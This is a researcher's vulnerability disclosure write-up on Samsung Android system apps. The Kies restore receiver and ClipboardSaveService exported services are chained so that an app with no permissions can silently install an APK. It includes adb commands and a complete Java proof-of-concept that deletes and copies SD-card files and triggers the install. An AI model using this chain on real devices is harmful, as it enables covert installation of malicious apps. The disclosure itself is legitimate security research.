Caution This document presents a really simple technique which enables a third party Android application without any permission to install another application of his choice like a user on the market (INSTALL_PACKAGES permission).
Update: in less than 10hours, samsung patched the vulnerability by protecting kies_receiver with a permission. Well done!

Introduction

While I was working on an Android userland backdoor not requiring the user to accept any permission, but having real capabilities (like reading/writing sms/mms/…) by exploiting vulnerabilities in system apps, I found a way to get INSTALL_PACKAGES permission.

The vulnerability is really dumb and easy to exploit in few lines of Java. But it isn’t an isolate case, there are many many ones like this in system applications made by constructors like Samsung/Asus/HTC/etc. Maybe I will publish more stuff on this later.

The exploit presented below is based on system applications. These applications are located under /system/app and can’t be removed by a user if he hasn't rooted his device. In consequence, when you have vulnerabilities inside system applications, in order to patch them the constructor will have to make sometime a firmware update on all concerned devices.

TL;DR

Video showing a PoC in action, installation of an APK (here Avast antivirus, but it could be anything):

The vulnerable application: Kies.apk

During my research, i took a look at Kies. Kies is "Samsung's iTunes" which enable sync, update and backup of media/contacts/… between the device and a computer, but also system upgrades.

The Kies application can be found at /system/app/Kies.apk. The executable code is located under the same directory but as an .odex file (/system/app/Kies.odex), which is an optimized version of the original .dex file.

In order to analyse this application, you need to deodex (get a .dex file from an .odex file) the application to use tools like dex2jar on it. This can be achieved like this:

$ adb pull /system/app/Kies.odex
$ adb pull /system/framework
$ java -jar baksmali.jar -x Kies.odex -d framework/ -o Kies
$ java -jar smali.jar Kies -o Kies.dex

After that, you can decompile the .dex normaly using tools like dex2jar:

$ ./dex2jar.sh Kies.dex

Analysing the AndroidManifest.xml file of the application reveals the following informations:

kies.apk_asa_tool

As we can see, the application has the INSTALL_PACKAGES permission and exports the kies_receiver component which is a BroadcastReceiver handling the following actions:

  • android.intent.action.UMS_CONNECTED

  • com.intent.action.KIES_APP_START

  • com.intent.action.KIES_APP_STOP

  • com.intent.action.KIES_GET_LOCK_STATUS

  • com.intent.action.KIES_MAKE_BACKUP_APK

  • com.intent.action.KIES_MAKE_BACKUP_LIST

  • com.intent.action.KIES_REQUEST_BACKUP_SPACE

  • com.intent.action.KIES_REQUEST_RESTORE_FINISH

  • com.intent.action.KIES_SET_RESTORE_STATUS

  • com.intent.action.KIES_START_RESTORE_APK

  • com.intent.action.SVC_IF_PGM

The com.intent.action.KIES_START_RESTORE_APK suggests the installation of an APK in order to restore it, which is our goal. The source code of the function shows that each action is matched and the right function is called based on the used action.

package com.sec.android.Kies;

import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class kies_receiver extends BroadcastReceiver
{

  private void StartKiesService(Context paramContext)
  {
    Intent localIntent1 = new Intent();
    Intent localIntent2 = localIntent1.setClassName("com.sec.android.Kies", "com.sec.android.Kies.kies_start");
    ComponentName localComponentName = paramContext.startService(localIntent1);
  }

  private void StartKiesService(Context paramContext, byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
  {
    Intent localIntent1 = new Intent();
    Intent localIntent2 = localIntent1.putExtra("head", paramArrayOfByte1);
    Intent localIntent3 = localIntent1.putExtra("body", paramArrayOfByte2);
    Intent localIntent4 = localIntent1.setClassName("com.sec.android.Kies", "com.sec.android.Kies.kies_start");
    ComponentName localComponentName = paramContext.startService(localIntent1);
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    ...
    if (paramIntent.getAction().toString().equals("com.intent.action.KIES_START_RESTORE_APK"))
    {
      kies_start.m_nKiesActionEvent = 15;
      int i3 = Log.w("KIES_START", "KIES_ACTION_EVENT_SZ_START_RESTORE_APK");
      byte[] arrayOfByte11 = new byte[6];
      byte[] arrayOfByte12 = paramIntent.getByteArrayExtra("head");
      byte[] arrayOfByte13 = paramIntent.getByteArrayExtra("body");
      byte[] arrayOfByte14 = new byte[arrayOfByte13.length];
      int i4 = arrayOfByte13.length;
      System.arraycopy(arrayOfByte13, 0, arrayOfByte14, 0, i4);
      StartKiesService(paramContext, arrayOfByte12, arrayOfByte14);
      return;
    }
    ...
  }

}

When an intent with com.intent.action.KIES_START_RESTORE_APK is received by kies_receiver, it sets the m_nKiesActionEvent member of kies_start component to 15, gets the head and body extras and calls StartKiesService.

StartKiesService() start kies_start service with head and body extras in his intent. Via the Context.startService() call, the onCreate() method of kies_start is called. It calls the select_action() method, which will select the right method to be called based on m_nKiesActionEvent set previously by kies_receiver. In our case, m_nKiesActionEvent is set to 15 and select_action() will call process_action_event_start_restore_apk().

Inside process_action_event_start_restore_apk(), AppRestore.packageNameCheck("/sdcard/restore/","/data/app/") is called. This function takes the files present in /sdcard/restore directory, and for each of them which have .apk as extension, checks if it’s not already present in /data/app -- that would mean that the application is already installed and doesn't need to be restored.

When a file present in /sdcard/restore is already installed on the device, it seems to make packageNameCheck return and nothing happens. Otherwise, the APK files present in /sdcard/restore will be installed via PackageManager.installPackage() method.

Oh wait, to successfuly exploit this vulnerability we have to possess the WRITE_EXTERNAL_STORAGE permission. Because we need to be able to write the APK of our choice inside /sdcard/restore and delete files already present in order to escape the case having an APK already installed on the device.

But as almost system application are shitty… it’s pretty easy to find another application which will give us the WRITE_EXTERNAL_STORAGE permission.

problem trollface

Finding a way to write to SDCARD

We need to find a vulnerable application which will share their permissions with us. The application called ClipboardSaveService.apk seems to be a good candidate:

clipboard asa

Using the same procedure as above, it is easy to deodex the ClipboardSaveService.odex file and get .dex decompilable by tools like dex2jar.

The components exported by the application allow us to create file on sdcard with arbitrary content and secondarily to delete arbitrary file on the sdcard.

The following command lines show how to use these exported components:

$ adb shell "echo test > /sdcard/bla"
$ adb shell "ls -l /sdcard/ |grep bla"
-rw-rw-r-- root     sdcard_rw        5 2012-07-31 01:23 bla
$ adb shell am startservice -a com.android.clipboardsaveservice.CLIPBOARD_SAVE_SERVICE  \
  --es copyPath /sdcard/bla --es pastePath /sdcard/restore/
$ adb shell "ls -l /sdcard/restore/bla"
-rw-rw-r-- root     sdcard_rw        5 2012-07-31 01:24 bla

Based on this vulnerability, we can now make a PoC that will write a file stored in its ressources into its internal storage space (/data/data/packagename/) as world-readable, since this doesn't require any permission.

Then we delete all files in /sdcard/restore (or copy them via ClipboadSaveService application) in order to not interfer with the install of our APK.

After that, we copy the file inside the /sdcard/restore directory, and we call the vulnerable Kies component in order to install our malicious APK.

The final (really small and basic) exploit

Log.v("sh4ka","extraction of avast from ressources");
try{
        InputStream is = this.getResources().openRawResource(R.raw.avast);
        FileOutputStream fos = openFileOutput("avast.apk", Context.MODE_WORLD_READABLE);
        byte[] buffer = new byte[1024];
        int length;
        while ((length = is.read(buffer))>0){
                fos.write(buffer, 0, length);
        }
}catch(Exception e){
        e.printStackTrace();
}

try{Thread.sleep(2000);}catch(InterruptedException e){ }

Log.v("sh4ka","delete each file in /sdcard/restore");
Toast.makeText(getApplicationContext(),"Delete each file in /sdcard/restore", Toast.LENGTH_SHORT).show();

// The directory /data/data/com.android.clipboardsaveservice/temp/
// must exist in order to call the delete feature of clipboardsaveservice
// so we create it by copying avast inside it
Intent intentCreateTemp = new Intent("com.android.clipboardsaveservice.CLIPBOARD_SAVE_SERVICE");
intentCreateTemp.putExtra("copyPath", "/data/data/"+getPackageName()+"/files/avast.apk");
intentCreateTemp.putExtra("pastePath", "/data/data/com.android.clipboardsaveservice/temp/");
startService(intentCreateTemp);

try{Thread.sleep(2000);}catch(InterruptedException e){ }

File dir = new File("/sdcard/restore/");
File[] filelist = dir.listFiles();
for(int i=0;i<filelist.length;i++)
{
        Intent intentDeleteFile = new Intent("com.android.clipboardsaveservice.CLIPBOARD_DELETE_SERVICE");
        intentDeleteFile.putExtra("deletePath", filelist[i].getAbsolutePath());
        startService(intentDeleteFile);
        Log.v("sh4ka", filelist[i].getAbsolutePath() + " has been deleted");
}

try{Thread.sleep(2000);}catch(InterruptedException e){ }

Log.v("sh4ka","copy avast inside /sdcard/restore");
Toast.makeText(getApplicationContext(),"copy avast inside /sdcard/restore", Toast.LENGTH_SHORT).show();

Intent intentCopyavastSD = new Intent("com.android.clipboardsaveservice.CLIPBOARD_SAVE_SERVICE");
intentCopyavastSD.putExtra("copyPath", "/data/data/"+getPackageName()+"/files/avast.apk");
intentCopyavastSD.putExtra("pastePath", "/sdcard/restore/");
startService(intentCopyavastSD);

try{Thread.sleep(2000);}catch(InterruptedException e){ }

Log.v("sh4ka","run KIES_START_RESTORE_APK");
Toast.makeText(getApplicationContext(),"Install avast.apk", Toast.LENGTH_SHORT).show();

Intent intentStartRestore = new Intent("com.intent.action.KIES_START_RESTORE_APK");
intentStartRestore.putExtra("head", new String("cocacola").getBytes());
intentStartRestore.putExtra("body", new String("cocacola").getBytes());
sendBroadcast(intentStartRestore);

Log.v("sh4ka","avast should have been installed");
Toast.makeText(getApplicationContext(),"avast should have been installed", Toast.LENGTH_SHORT).show();

Download the PoC and sources

Caution This PoC deletes all the content inside /sdcard/restore, please do a backup before using it

APK PoC ⇒ link

PoC sources ⇒ link

Vulnerable applications ⇒ link

Thanks

Thanks to Emilien Girault for the review.